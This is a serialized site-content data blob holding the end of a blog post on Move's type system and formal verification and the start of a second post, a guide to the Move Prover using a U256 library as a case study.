invariant",{"type":22,"tag":118,"props":10297,"children":10298},{"style":204},[10299],{"type":28,"value":10300}," supply",{"type":22,"tag":118,"props":10302,"children":10303},{"style":210},[10304],{"type":28,"value":634},{"type":22,"tag":118,"props":10306,"children":10307},{"style":125},[10308],{"type":28,"value":10309}," MINIMUM_LIQUIDITY;\n",{"type":22,"tag":118,"props":10311,"children":10312},{"class":120,"line":177},[10313],{"type":22,"tag":118,"props":10314,"children":10315},{"style":125},[10316],{"type":28,"value":481},{"type":22,"tag":31,"props":10318,"children":10319},{},[10320,10322,10328,10330,10336],{"type":28,"value":10321},"Another useful pattern for the Move prover is ",{"type":22,"tag":114,"props":10323,"children":10325},{"className":10324},[],[10326],{"type":28,"value":10327},"aborts_if",{"type":28,"value":10329},". More specifically, it can be very helpful to assert that a function never aborts, with ",{"type":22,"tag":114,"props":10331,"children":10333},{"className":10332},[],[10334],{"type":28,"value":10335},"aborts_if false",{"type":28,"value":292},{"type":22,"tag":31,"props":10338,"children":10339},{},[10340],{"type":28,"value":10341},"Although loop invariants are a bit clunky, Ian is also able to prove that a relatively nontrivial function doesn't abort.",{"type":22,"tag":107,"props":10343,"children":10345},{"className":109,"code":10344,"language":111,"meta":7,"style":7},"  fun multiply_vec_by_n_coins(input: vector\u003Cu64>): vector\u003Cu128> {\n      let amounts_times_coins = vector::empty\u003Cu128>();\n      let i = 0;\n      let n_coins = vector::length(&input);\n      while ({\n          spec {\n              invariant len(amounts_times_coins) == i;\n              invariant i \u003C= n_coins;\n              invariant forall j in 0..i: amounts_times_coins[j] == input[j] * n_coins;\n          };\n          (i \u003C n_coins)\n      }) {\n          vector::push_back(\n              &mut amounts_times_coins,\n              (*vector::borrow(&input, (i as u64)) as u128) * (n_coins as u128)\n          );\n          i = i + 1;\n      };\n      spec {\n          assert i == n_coins;\n          assert len(input) == n_coins;\n      };\n      amounts_times_coins\n  }\n  spec multiply_vec_by_n_coins {\n      pragma opaque;\n      aborts_if false;\n      ensures len(result) == len(input);\n      ensures forall j in 0..len(input): result[j] == input[j] * len(input);\n  }\n",[10346],{"type":22,"tag":114,"props":10347,"children":10348},{"__ignoreMap":7},[10349,10413,10455,10478,10523,10536,10548,10586,10609,10697,10705,10729,10737,10758,10778,10877,10885,10914,10922,10934,10958,10993,11000,11008,11015,11030,11046,11062,11106,11211],{"type":22,"tag":118,"props":10350,"children":10351},{"class":120,"line":121},[10352,10356,10361,10365,10370,10374,10379,10383,10387,10392,10396,10400,10404,10409],{"type":22,"tag":118,"props":10353,"children":10354},{"style":204},[10355],{"type":28,"value":8579},{"type":22,"tag":118,"props":10357,"children":10358},{"style":532},[10359],{"type":28,"value":10360}," multiply_vec_by_n_coins",{"type":22,"tag":118,"props":10362,"children":10363},{"style":125},[10364],{"type":28,"value":540},{"type":22,"tag":118,"props":10366,"children":10367},{"style":204},[10368],{"type":28,"value":10369},"input",{"type":22,"tag":118,"props":10371,"children":10372},{"style":210},[10373],{"type":28,"value":213},{"type":22,"tag":118,"props":10375,"children":10376},{"style":204},[10377],{"type":28,"value":10378}," vector",{"type":22,"tag":118,"props":10380,"children":10381},{"style":125},[10382],{"type":28,"value":559},{"type":22,"tag":118,"props":10384,"children":10385},{"style":131},[10386],{"type":28,"value":10046},{"type":22,"tag":118,"props":10388,"children":10389},{"style":125},[10390],{"type":28,"value":10391},">)",{"type":22,"tag":118,"props":10393,"children":10394},{"style":210},[10395],{"type":28,"value":213},{"type":22,"tag":118,"props":10397,"children":10398},{"style":204},[10399],{"type":28,"value":10378},{"type":22,"tag":118,"props":10401,"children":10402},{"style":125},[10403],{"type":28,"value":559},{"type":22,"tag":118,"props":10405,"children":10406},{"style":131},[10407],{"type":28,"value":10408},"u128",{"type":22,"tag":118,"props":10410,"children":10411},{"style":125},[10412],{"type":28,"value":174},{"type":22,"tag":118,"props":10414,"children":10415},{"class":120,"line":142},[10416,10420,10425,10429,10433,10437,10442,10446,10450],{"type":22,"tag":118,"props":10417,"children":10418},{"style":146},[10419],{"type":28,"value":10079},{"type":22,"tag":118,"props":10421,"children":10422},{"style":204},[10423],{"type":28,"value":10424}," amounts_times_coins",{"type":22,"tag":118,"props":10426,"children":10427},{"style":210},[10428],{"type":28,"value":837},{"type":22,"tag":118,"props":10430,"children":10431},{"style":125},[10432],{"type":28,"value":10378},{"type":22,"tag":118,"props":10434,"children":10435},{"style":210},[10436],{"type":28,"value":1190},{"type":22,"tag":118,"props":10438,"children":10439},{"style":204},[10440],{"type":28,"value":10441},"empty",{"type":22,"tag":118,"props":10443,"children":10444},{"style":125},[10445],{"type":28,"value":559},{"type":22,"tag":118,"props":10447,"children":10448},{"style":131},[10449],{"type":28,"value":10408},{"type":22,"tag":118,"props":10451,"children":10452},{"style":125},[10453],{"type":28,"value":10454},">();\n",{"type":22,"tag":118,"props":10456,"children":10457},{"class":120,"line":177},[10458,10462,10466,10470,10474],{"type":22,"tag":118,"props":10459,"children":10460},{"style":146},[10461],{"type":28,"value":10079},{"type":22,"tag":118,"props":10463,"children":10464},{"style":204},[10465],{"type":28,"value":5416},{"type":22,"tag":118,"props":10467,"children":10468},{"style":210},[10469],{"type":28,"value":837},{"type":22,"tag":118,"props":10471,"children":10472},{"style":674},[10473],{"type":28,"value":5074},{"type":22,"tag":118,"props":10475,"children":10476},{"style":125},[10477],{"type":28,"value":801},{"type":22,"tag":118,"props":10479,"children":10480},{"class":120,"line":195},[10481,10485,10490,10494,10498,10502,10507,10511,10515,10519],{"type":22,"tag":118,"props":10482,"children":10483},{"style":146},[10484],{"type":28,"value":10079},{"type":22,"tag":118,"props":10486,"children":10487},{"style":204},[10488],{"type":28,"value":10489}," n_coins",{"type":22,"tag":118,"props":10491,"children":10492},{"style":210},[10493],{"type":28,"value":837},{"type":22,"tag":118,"props":10495,"children":10496},{"style":125},[10497],{"type":28,"value":10378},{"type":22,"tag":118,"props":10499,"children":10500},{"style":210},[10501],{"type":28,"value":1190},{"type":22,"tag":118,"props":10503,"children":10504},{"style":532},[10505],{"type":28,"value":10506},"length",{"type":22,"tag":118,"props":10508,"children":10509},{"style":125},[10510],{"type":28,"value":540},{"type":22,"tag":118,"props":10512,"children":10513},{"style":210},[10514],{"type":28,"value":1407},{"type":22,"tag":118,"props":10516,"children":10517},{"style":204},[10518],{"type":28,"value":10369},{"type":22,"tag":118,"props":10520,"children":10521},{"style":125},[10522],{"type":28,"value":682},{"type":22,"tag":118,"props":10524,"children":10525},{"class":120,"line":244},[10526,10531],{"type":22,"tag":118,"props":10527,"children":10528},{"style":1480},[10529],{"type":28,"value":10530},"      while",{"type":22,"tag":118,"props":10532,"children":10533},{"style":125},[10534],{"type":28,"value":10535}," ({\n",{"type":22,"tag":118,"props":10537,"children":10538},{"class":120,"line":253},[10539,10544],{"type":22,"tag":118,"props":10540,"children":10541},{"style":204},[10542],{"type":28,"value":10543},"          spec",{"type":22,"tag":118,"props":10545,"children":10546},{"style":125},[10547],{"type":28,"value":1474},{"type":22,"tag":118,"props":10549,"children":10550},{"class":120,"line":263},[10551,10556,10561,10565,10570,10574,10578,10582],{"type":22,"tag":118,"props":10552,"children":10553},{"style":204},[10554],{"type":28,"value":10555},"              invariant",{"type":22,"tag":118,"props":10557,"children":10558},{"style":532},[10559],{"type":28,"value":10560}," len",{"type":22,"tag":118,"props":10562,"children":10563},{"style":125},[10564],{"type":28,"value":540},{"type":22,"tag":118,"props":10566,"children":10567},{"style":204},[10568],{"type":28,"value":10569},"amounts_times_coins",{"type":22,"tag":118,"props":10571,"children":10572},{"style":125},[10573],{"type":28,"value":588},{"type":22,"tag":118,"props":10575,"children":10576},{"style":210},[10577],{"type":28,"value":302},{"type":22,"tag":118,"props":10579,"children":10580},{"style":204},[10581],{"type":28,"value":5416},{"type":22,"tag":118,"props":10583,"children":10584},{"style":125},[10585],{"type":28,"value":801},{"type":22,"tag":118,"props":10587,"children":10588},{"class":120,"line":318},[10589,10593,10597,10601,10605],{"type":22,"tag":118,"props":10590,"children":10591},{"style":204},[10592],{"type":28,"value":10555},{"type":22,"tag":118,"props":10594,"children":10595},{"style":204},[10596],{"type":28,"value":5416},{"type":22,"tag":118,"props":10598,"children":10599},{"style":210},[10600],{"type":28,"value":1798},{"type":22,"tag":118,"props":10602,"children":10603},{"style":204},[10604],{"type":28,"value":10489},{"type":22,"tag":118,"props":10606,"children":10607},{"style":125},[10608],{"type":28,"value":801},{"type":22,"tag":118,"props":10610,"children":10611},{"class":120,"line":351},[10612,10616,10621,10626,10630,10634,10638,10642,10646,10650,10654,10659,10664,10668,10673,10677,10681,10685,10689,10693],{"type":22,"tag":118,"props":10613,"children":10614},{"style":204},[10615],{"type":28,"value":10555},{"type":22,"tag":118,"props":10617,"children":10618},{"style":204},[10619],{"type":28,"value":10620}," forall",{"type":22,"tag":118,"props":10622,"children":10623},{"style":204},[10624],{"type":28,"value":10625}," j",{"type":22,"tag":118,"props":10627,"children":10628},{"style":146},[10629],{"type":28,"value":5069},{"type":22,"tag":118,"props":10631,"children":10632},{"style":674},[10633],{"type":28,"value":5074},{"type":22,"tag":118,"props":10635,"children":10636},{"style":210},[10637],{"type":28,"value":5079},{"type":22,"tag":118,"props":10639,"children":10640},{"style":204},[10641],{"type":28,"value":3613},{"type":22,"tag":118,"props":10643,"children":10644},{"style":210},[10645],{"type":28,"value":213},{"type":22,"tag":118,"props":10647,"children":10648},{"style":204},[10649],{"type":28,"value":10424},{"type":22,"tag":118,"props":10651,"children":10652},{"style":125},[10653],{"type":28,"value":5746},{"type":22,"tag":118,"props":10655,"children":10656},{"style":204},[10657],{"type":28,"value":10658},"j",{"type":22,"tag":118,"props":10660,"children":10661},{"style":125},[10662],{"type":28,"value":10663},"] ",{"type":22,"tag":118,"props":10665,"children":10666},{"style":210},[10667],{"type":28,"value":302},{"type":22,"tag":118,"props":10669,"children":10670},{"style":204},[10671],{"type":28,"value":10672}," input",{"type":22,"tag":118,"props":10674,"children":10675},{"style":125},[10676],{"type":28,"value":5746},{"type":22,"tag":118,"props":10678,"children":10679},{"style":204},[10680],{"type":28,"value":10658},{"type":22,"tag":118,"props":10682,"children":10683},{"style":125},[10684],{"type":28,"value":10663},{"type":22,"tag":118,"props":10686,"children":10687},{"style":210},[10688],{"type":28,"value":671},{"type":22,"tag":118,"props":10690,"children":10691},{"style":204},[10692],{"type":28,"value":10489},{"type":22,"tag":118,"props":10694,"children":10695},{"style":125},[10696],{"type":28,"value":801},{"type":22,"tag":118,"props":10698,"children":10699},{"class":120,"line":359},[10700],{"type":22,"tag":118,"props":10701,"children":10702},{"style":125},[10703],{"type":28,"value":10704},"          };\n",{"type":22,"tag":118,"props":10706,"children":10707},{"class":120,"line":368},[10708,10713,10717,10721,10725],{"type":22,"tag":118,"props":10709,"children":10710},{"style":125},[10711],{"type":28,"value":10712},"          (",{"type":22,"tag":118,"props":10714,"children":10715},{"style":204},[10716],{"type":28,"value":3613},{"type":22,"tag":118,"props":10718,"children":10719},{"style":210},[10720],{"type":28,"value":2197},{"type":22,"tag":118,"props":10722,"children":10723},{"style":204},[10724],{"type":28,"value":10489},{"type":22,"tag":118,"props":10726,"children":10727},{"style":125},[10728],{"type":28,"value":3665},{"type":22,"tag":118,"props":10730,"children":10731},{"class":120,"line":384},[10732],{"type":22,"tag":118,"props":10733,"children":10734},{"style":125},[10735],{"type":28,"value":10736},"      }) {\n",{"type":22,"tag":118,"props":10738,"children":10739},{"class":120,"line":417},[10740,10745,10749,10754],{"type":22,"tag":118,"props":10741,"children":10742},{"style":125},[10743],{"type":28,"value":10744},"          vector",{"type":22,"tag":118,"props":10746,"children":10747},{"style":210},[10748],{"type":28,"value":1190},{"type":22,"tag":118,"props":10750,"children":10751},{"style":532},[10752],{"type":28,"value":10753},"push_back",{"type":22,"tag":118,"props":10755,"children":10756},{"style":125},[10757],{"type":28,"value":696},{"type":22,"tag":118,"props":10759,"children":10760},{"class":120,"line":425},[10761,10766,10770,10774],{"type":22,"tag":118,"props":10762,"children":10763},{"style":210},[10764],{"type":28,"value":10765},"              &",{"type":22,"tag":118,"props":10767,"children":10768},{"style":146},[10769],{"type":28,"value":188},{"type":22,"tag":118,"props":10771,"children":10772},{"style":204},[10773],{"type":28,"value":10424},{"type":22,"tag":118,"props":10775,"children":10776},{"style":125},[10777],{"type":28,"value":782},{"type":22,"tag":118,"props":10779,"children":10780},{"class":120,"line":441},[10781,10786,10790,10795,10799,10804,10808,10812,10816,10821,10825,10830,10834,10839,10843,10848,10852,10856,10860,10865,10869,10873],{"type":22,"tag":118,"props":10782,"children":10783},{"style":125},[10784],{"type":28,"value":10785},"              (",{"type":22,"tag":118,"props":10787,"children":10788},{"style":210},[10789],{"type":28,"value":671},{"type":22,"tag":118,"props":10791,"children":10792},{"style":125},[10793],{"type":28,"value":10794},"vector",{"type":22,"tag":118,"props":10796,"children":10797},{"style":210},[10798],{"type":28,"value":1190},{"type":22,"tag":118,"props":10800,"children":10801},{"style":532},[10802],{"type":28,"value":10803},"borrow",{"type":22,"tag":118,"props":10805,"children":10806},{"style":125},[10807],{"type":28,"value":540},{"type":22,"tag":118,"props":10809,"children":10810},{"style":210},[10811],{"type":28,"value":1407},{"type":22,"tag":118,"props":10813,"children":10814},{"style":204},[10815],{"type":28,"value":10369},{"type":22,"tag":118,"props":10817,"children":10818},{"style":125},[10819],{"type":28,"value":10820},", (",{"type":22,"tag":118,"props":10822,"children":10823},{"style":204},[10824],{"type":28,"value":3613},{"type":22,"tag":118,"props":10826,"children":10827},{"style":146},[10828],{"type":28,"value":10829}," as",{"type":22,"tag":118,"props":10831,"children":10832},{"style":131},[10833],{"type":28,"value":583},{"type":22,"tag":118,"props":10835,"children":10836},{"style":125},[10837],{"type":28,"value":10838},")) ",{"type":22,"tag":118,"props":10840,"children":10841},{"style":146},[10842],{"type":28,"value":1215},{"type":22,"tag":118,"props":10844,"children":10845},{"style":131},[10846],{"type":28,"value":10847}," u128",{"type":22,"tag":118,"props":10849,"children":10850},{"style":125},[10851],{"type":28,"value":588},{"type":22,"tag":118,"props":10853,"children":10854},{"style":210},[10855],{"type":28,"value":671},{"type":22,"tag":118,"props":10857,"children":10858},{"style":125},[10859],{"type":28,"value":842},{"type":22,"tag":118,"props":10861,"children":10862},{"style":204},[10863],{"type":28,"value":10864},"n_coins",{"type":22,"tag":118,"props":10866,"children":10867},{"style":146},[10868],{"type":28,"value":10829},{"type":22,"tag":118,"props":10870,"children":10871},{"style":131},[10872],{"type":28,"value":10847},{"type":22,"tag":118,"props":10874,"children":10875},{"style":125},[10876],{"type":28,"value":3665},{"type":22,"tag":118,"props":10878,"children":10879},{"class":120,"line":475},[10880],{"type":22,"tag":118,"props":10881,"children":10882},{"style":125},[10883],{"type":28,"value":10884},"          );\n",{"type":22,"tag":118,"props":10886,"children":10887},{"class":120,"line":484},[10888,10893,10897,10901,10906,10910],{"type":22,"tag":118,"props":10889,"children":10890},{"style":204},[10891],{"type":28,"value":10892},"          i",{"type":22,"tag":118,"props":10894,"children":10895},{"style":210},[10896],{"type":28,"value":837},{"type":22,"tag":118,"props":10898,"children":10899},{"style":204},[10900],{"type":28,"value":5416},{"type":22,"tag":118,"props":10902,"children":10903},{"style":210},[10904],{"type":28,"value":10905}," +",{"type":22,"tag":118,"props":10907,"children":10908},{"style":674},[10909],{"type":28,"value":6535},{"type":22,"tag":118,"props":10911,"children":10912},{"style":125},[10913],{"type":28,"value":801},{"type":22,"tag":118,"props":10915,"children":10916},{"class":120,"line":492},[10917],{"type":22,"tag":118,"props":10918,"children":10919},{"style":125},[10920],{"type":28,"value":10921},"      };\n",{"type":22,"tag":118,"props":10923,"children":10924},{"class":120,"line":501},[10925,10930],{"type":22,"tag":118,"props":10926,"children":10927},{"style":204},[10928],{"type":28,"value":10929},"      spec",{"type":22,"tag":118,"props":10931,"children":10932},{"style":125},[10933],{"type":28,"value":1474},{"type":22,"tag":118,"props":10935,"children":10936},{"class":120,"line":519},[10937,10942,10946,10950,10954],{"type":22,"tag":118,"props":10938,"children":10939},{"style":204},[10940],{"type":28,"value":10941},"          assert",{"type":22,"tag":118,"props":10943,"children":10944},{"style":204},[10945],{"type":28,"value":5416},{"type":22,"tag":118,"props":10947,"children":10948},{"style":210},[10949],{"type":28,"value":1780},{"type":22,"tag":118,"props":10951,"children":10952},{"style":204},[10953],{"type":28,"value":10489},{"type":22,"tag":118,"props":10955,"children":10956},{"style":125},[10957],{"type":28,"value":801},{"type":22,"tag":118,"props":10959,"children":10960},{"class":120,"line":606},[10961,10965,10969,10973,10977,10981,10985,10989],{"type":22,"tag":118,"props":10962,"children":10963},{"style":204},[10964],{"type":28,"value":10941},{"type":22,"tag":118,"props":10966,"children":10967},{"style":532},[10968],{"type":28,"value":10560},{"type":22,"tag":118,"props":10970,"children":10971},{"style":125},[10972],{"type":28,"value":540},{"type":22,"tag":118,"props":10974,"children":10975},{"style":204},[10976],{"type":28,"value":10369},{"type":22,"tag":118,"props":10978,"children":10979},{"style":125},[10980],{"type":28,"value":588},{"type":22,"tag":118,"props":10982,"children":10983},{"style":210},[10984],{"type":28,"value":302},{"type":22,"tag":118,"props":10986,"children":10987},{"style":204},[10988],{"type":28,"value":10489},{"type":22,"tag":118,"props":10990,"children":10991},{"style":125},[10992],{"type":28,"value":801},{"type":22,"tag":118,"props":10994,"children":10995},{"class":120,"line":615},[10996],{"type":22,"tag":118,"props":10997,"children":10998},{"style":125},[10999],{"type":28,"value":10921},{"type":22,"tag":118,"props":11001,"children":11002},{"class":120,"line":685},[11003],{"type":22,"tag":118,"props":11004,"children":11005},{"style":204},[11006],{"type":28,"value":11007},"      amounts_times_coins\n",{"type":22,"tag":118,"props":11009,"children":11010},{"class":120,"line":699},[11011],{"type":22,"tag":118,"props":11012,"children":11013},{"style":125},[11014],{"type":28,"value":7881},{"type":22,"tag":118,"props":11016,"children":11017},{"class":120,"line":729},[11018,11022,11026],{"type":22,"tag":118,"props":11019,"children":11020},{"style":204},[11021],{"type":28,"value":10149},{"type":22,"tag":118,"props":11023,"children":11024},{"style":204},[11025],{"type":28,"value":10360},{"type":22,"tag":118,"props":11027,"children":11028},{"style":125},[11029],{"type":28,"value":1474},{"type":22,"tag":118,"props":11031,"children":11032},{"class":120,"line":771},[11033,11037,11042],{"type":22,"tag":118,"props":11034,"children":11035},{"style":204},[11036],{"type":28,"value":10165},{"type":22,"tag":118,"props":11038,"children":11039},{"style":204},[11040],{"type":28,"value":11041}," opaque",{"type":22,"tag":118,"props":11043,"children":11044},{"style":125},[11045],{"type":28,"value":801},{"type":22,"tag":118,"props":11047,"children":11048},{"class":120,"line":785},[11049,11054,11058],{"type":22,"tag":118,"props":11050,"children":11051},{"style":204},[11052],{"type":28,"value":11053},"      aborts_if",{"type":22,"tag":118,"props":11055,"children":11056},{"style":146},[11057],{"type":28,"value":1678},{"type":22,"tag":118,"props":11059,"children":11060},{"style":125},[11061],{"type":28,"value":801},{"type":22,"tag":118,"props":11063,"children":11064},{"class":120,"line":804},[11065,11069,11073,11077,11082,11086,11090,11094,11098,11102],{"type":22,"tag":118,"props":11066,"children":11067},{"style":204},[11068],{"type":28,"value":10191},{"type":22,"tag":118,"props":11070,"children":11071},{"style":532},[11072],{"type":28,"value":10560},{"type":22,"tag":118,"props":11074,"children":11075},{"style":125},[11076],{"type":28,"value":540},{"type":22,"tag":118,"props":11078,"children":11079},{"style":204},[11080],{"type":28,"value":11081},"result",{"type":22,"tag":118,"props":11083,"children":11084},{"style":125},[11085],{"type":28,"value":588},{"type":22,"tag":118,"props":11087,"children":11088},{"style":210},[11089],{"type":28,"value":302},{"type":22,"tag":118,"props":11091,"children":11092},{"style":532},[11093],{"type":28,"value":10560},{"type":22,"tag":118,"props":11095,"children":11096},{"style":125},[11097],{"type":28,"value":540},{"type":22,"tag":118,"props":11099,"children":11100},{"style":204},[11101],{"type":28,"value":10369},{"type":22,"tag":118,"props":11103,"children":11104},{"style":125},[11105],{"type":28,"value":682},{"type":22,"tag":118,"props":11107,"children":11108},{"class":120,"line":812},[11109,11113,11117,11121,11125,11129,11133,11138,11142,11146,11150,11154,11159,11163,11167,11171,11175,11179,11183,11187,11191,11195,11199,11203,11207],{"type":22,"tag":118,"props":11110,"children":11111},{"style":204},[11112],{"type":28,"value":10191},{"type":22,"tag":118,"props":11114,"children":11115},{"style":204},[11116],{"type":28,"value":10620},{"type":22,"tag":118,"props":11118,"children":11119},{"style":204},[11120],{"type":28,"value":10625},{"type":22,"tag":118,"props":11122,"children":11123},{"style":146},[11124],{"type":28,"value":5069},{"type":22,"tag":118,"props":11126,"children":11127},{"style":674},[11128],{"type":28,"value":5074},{"type":22,"tag":118,"props":11130,"children":11131},{"style":210},[11132],{"type":28,"value":5079},{"type":22,"tag":118,"props":11134,"children":11135},{"style":532},[11136],{"type":28,"value":11137},"len",{"type":22,"tag":118,"props":11139,"children":11140},{"style":125},[11141],{"type":28,"value":540},{"type":22,"tag":118,"props":11143,"children":11144},{"style":204},[11145],{"type":28,"value":10369},{"type":22,"tag":118,"props":11147,"children":11148},{"style":125},[11149],{"type":28,"value":3627},{"type":22,"tag":118,"props":11151,"children":11152},{"style":210},[11153],{"type":28,"value":213},{"type":22,"tag":118,"props":11155,"children":11156},{"style":204},[11157],{"type":28,"value":11158}," result",{"type":22,"tag":118,"props":11160,"children":11161},{"style":125},[11162],{"type":28,"value":5746},{"type":22,"tag":118,"props":11164,"children":11165},{"style":204},[11166],{"type":28,"value":10658},{"type":22,"tag":118,"props":11168,"children":11169},{"style":125},[11170],{"type":28,"value":10663},{"type":22,"tag":118,"props":11172,"children":11173},{"style":210},[11174],{"type":28,"value":302},{"type":22,"tag":118,"props":11176,"children":11177},{"style":204},[11178],{"type":28,"value":10672},{"type":22,"tag":118,"props":11180,"children":11181},{"style":125},[11182],{"type":28,"value":5746},{"type":22,"tag":118,"props":11184,"children":11185},{"style":204},[11186],{"type":28,"value":10658},{"type":22,"tag":118,"props":11188,"children":11189},{"style":125},[11190],{"type":28,"value":10663},{"type":22,"tag":118,"props":11192,"children":11193},{"style":210},[11194],{"type":28,"value":671},{"type":22,"tag":118,"props":11196,"children":11197},{"style":532},[11198],{"type":28,"value":10560},{"type":22,"tag":118,"props":11200,"children":11201},{"style":125},[11202],{"type":28,"value":540},{"type":22,"tag":118,"props":11204,"children":11205},{"style":204},[11206],{"type":28,"value":10369},{"type":22,"tag":118,"props":11208,"children":11209},{"style":125},[11210],{"type":28,"value":682},{"type":22,"tag":118,"props":11212,"children":11213},{"class":120,"line":821},[11214],{"type":22,"tag":118,"props":11215,"children":11216},{"style":125},[11217],{"type":28,"value":7881},{"type":22,"tag":23,"props":11219,"children":11220},{"id":7321},[11221],{"type":28,"value":7324},{"type":22,"tag":31,"props":11223,"children":11224},{},[11225],{"type":28,"value":11226},"In this post, we explored implications of Move's type system and formal verification, two powerful features of the Move language that enable safer programming languages.",{"type":22,"tag":31,"props":11228,"children":11229},{},[11230],{"type":28,"value":11231},"While Move as a language is still a language in active development, it shows some exciting features that seem allows developers to create structurally safer programs.",{"type":22,"tag":31,"props":11233,"children":11234},{},[11235,11237,11244],{"type":28,"value":11236},"We're passionate about pushing the edge of what's possible in Move security. If you have any thoughts, or would like to explore an audit, feel free to reach out to me ",{"type":22,"tag":42,"props":11238,"children":11241},{"href":11239,"rel":11240},"https://twitter.com/notdeghost/",[46],[11242],{"type":28,"value":11243},"@notdeghost",{"type":28,"value":292},{"type":22,"tag":4880,"props":11246,"children":11247},{},[11248],{"type":28,"value":4884},{"title":7,"searchDepth":142,"depth":142,"links":11250},[11251,11252,11253],{"id":7769,"depth":142,"text":7772},{"id":9801,"depth":142,"text":9804},{"id":7321,"depth":142,"text":7324},"content:blog:2022-09-06-move-introduction.md","blog/2022-09-06-move-introduction.md","blog/2022-09-06-move-introduction",{"_path":11258,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":11259,"description":11260,"author":7730,"image":11261,"date":11264,"isFeatured":15,"tags":11265,"onBlogPage":15,"body":11268,"_type":4896,"_id":15607,"_source":4898,"_file":15608,"_stem":15609,"_extension":4901},"/blog/2022-09-16-move-prover","The Move Prover: A Guide","A practical guide to the Move Prover - tutorial, case study, and specifications.",{"src":11262,"height":11263,"width":7734},"/posts/move-prover/move-prover-title.jpg",1019,"2022-09-16",[11266,11267],"move","tutorial",{"type":19,"children":11269,"toc":15593},[11270,11289,11301,11307,11312,11317,11322,11331,11336,11350,11355,11361,11366,11380,11385,11522,11535,11540,11561,11595,11606,11611,11616,11626,11639,11982,11996,12014,12059,12072,12091,12263,12268,12273,12298,12303,12904,12916,12928,12933,12947,12952,12965,13006,13011,13043,13048,13053,13066,13451,13478,13685,13690,13702,13938,13943,13951,13970,14316,14321,14477,14482,14489,14503,14509,14514,14519,14525,14538,14770,14776,14781,14801,15068,15073,15079,15091,15096,15110,15116,15152,15252,15273,15279,15284,15289,15541,15546,15564,15568,15573,15578,15589],{"type":22,"tag":31,"props":11271,"children":11272},{},[11273,11275,11280,11282,11287],{"type":28,"value":11274},"Formal verification -- a powerful tool for ",{"type":22,"tag":4764,"props":11276,"children":11277},{},[11278],{"type":28,"value":11279},"proving",{"type":28,"value":11281}," the correctness of your programs. How does it ",{"type":22,"tag":4764,"props":11283,"children":11284},{},[11285],{"type":28,"value":11286},"actually",{"type":28,"value":11288}," work? This blog post will provide practical tips to help you use the Move Prover to its fullest potential, as well as explore a real-world example of how we used formal verification to secure a smart contract.",{"type":22,"tag":31,"props":11290,"children":11291},{},[11292,11294,11299],{"type":28,"value":11293},"At a high level, formal verification allows you to provide a specification for the program. This specification is then checked against symbolic inputs, allowing you to prove that your code follows the specification for ",{"type":22,"tag":4764,"props":11295,"children":11296},{},[11297],{"type":28,"value":11298},"all",{"type":28,"value":11300}," possible inputs.",{"type":22,"tag":23,"props":11302,"children":11304},{"id":11303},"move-prover",[11305],{"type":28,"value":11306},"Move Prover",{"type":22,"tag":31,"props":11308,"children":11309},{},[11310],{"type":28,"value":11311},"The Move Prover is an automated tool that allows developers to formally verify smart contracts written in the Move programming language.",{"type":22,"tag":31,"props":11313,"children":11314},{},[11315],{"type":28,"value":11316},"Move was primarily designed to facilitate automatic verification. Interestingly, the Move Prove operates on the Move bytecode itself, avoiding potential compiler bugs from interfering with prover correctness.",{"type":22,"tag":31,"props":11318,"children":11319},{},[11320],{"type":28,"value":11321},"The architecture of the tool consists of multiple components as illustrated below.",{"type":22,"tag":31,"props":11323,"children":11324},{},[11325],{"type":22,"tag":5928,"props":11326,"children":11330},{"alt":11327,"src":11328,"title":11329},"Move Prover arch","https://i.imgur.com/ti4vkTu.png","Move Prover Architecture",[],{"type":22,"tag":31,"props":11332,"children":11333},{},[11334],{"type":28,"value":11335},"First, the Move prover receives a Move source file (an input) that contains specifications of the intended behavior of the program. Those specifications are then extracted from the annotated source by the Move Parser. Consequently, the tool compiles the source code into Move bytecode which is verified and converted into a prover object model plus the specification system \"blueprint\".",{"type":22,"tag":31,"props":11337,"children":11338},{},[11339,11341,11348],{"type":28,"value":11340},"The model is translated into an intermediate language, called ",{"type":22,"tag":42,"props":11342,"children":11345},{"href":11343,"rel":11344},"https://www.microsoft.com/en-us/research/project/boogie-an-intermediate-verification-language/",[46],[11346],{"type":28,"value":11347},"Boogie",{"type":28,"value":11349},". This Boogie code is then passed to the Boogie verification system which generates the input for the solver using a \"verification condition generation\". The verification condition (VC) is passed to an automated theorem prover (Z3).",{"type":22,"tag":31,"props":11351,"children":11352},{},[11353],{"type":28,"value":11354},"Once the VC is passed to the Z3, the prover checks if the SMT formula is unsatisfiable. If so, it means that the specifications hold. Otherwise, a model that satisfies the conditions is generated and converted back into Boogie format in order to issue a diagnosis report. The diagnosis report is then reverted to a source-level error which parallels a standard compiler error.",{"type":22,"tag":23,"props":11356,"children":11358},{"id":11357},"move-specification-language",[11359],{"type":28,"value":11360},"Move Specification Language",{"type":22,"tag":31,"props":11362,"children":11363},{},[11364],{"type":28,"value":11365},"Move MSL is a subset of the Move Language, which introduces support to statically describe the behavior about the correctness of a program with no implications on production.",{"type":22,"tag":31,"props":11367,"children":11368},{},[11369,11371,11378],{"type":28,"value":11370},"To better understand how to use the MSL, we will use ",{"type":22,"tag":42,"props":11372,"children":11375},{"href":11373,"rel":11374},"https://github.com/pontem-network/u256",[46],[11376],{"type":28,"value":11377},"Pontem's U256 library",{"type":28,"value":11379},", an open source Move library which implements support for U256 numbers, as a case study.",{"type":22,"tag":31,"props":11381,"children":11382},{},[11383],{"type":28,"value":11384},"The U256 number is implemented as a struct which contains 4 u64 numbers.",{"type":22,"tag":107,"props":11386,"children":11388},{"code":11387,"language":111,"meta":7,"className":109,"style":7},"struct U256 has copy, drop, store {\n    v0: u64,\n    v1: u64,\n    v2: u64,\n    v3: u64,\n}\n",[11389],{"type":22,"tag":114,"props":11390,"children":11391},{"__ignoreMap":7},[11392,11435,11455,11475,11495,11515],{"type":22,"tag":118,"props":11393,"children":11394},{"class":120,"line":121},[11395,11400,11404,11409,11414,11418,11423,11427,11431],{"type":22,"tag":118,"props":11396,"children":11397},{"style":146},[11398],{"type":28,"value":11399},"struct",{"type":22,"tag":118,"props":11401,"children":11402},{"style":131},[11403],{"type":28,"value":6741},{"type":22,"tag":118,"props":11405,"children":11406},{"style":204},[11407],{"type":28,"value":11408}," has",{"type":22,"tag":118,"props":11410,"children":11411},{"style":204},[11412],{"type":28,"value":11413}," 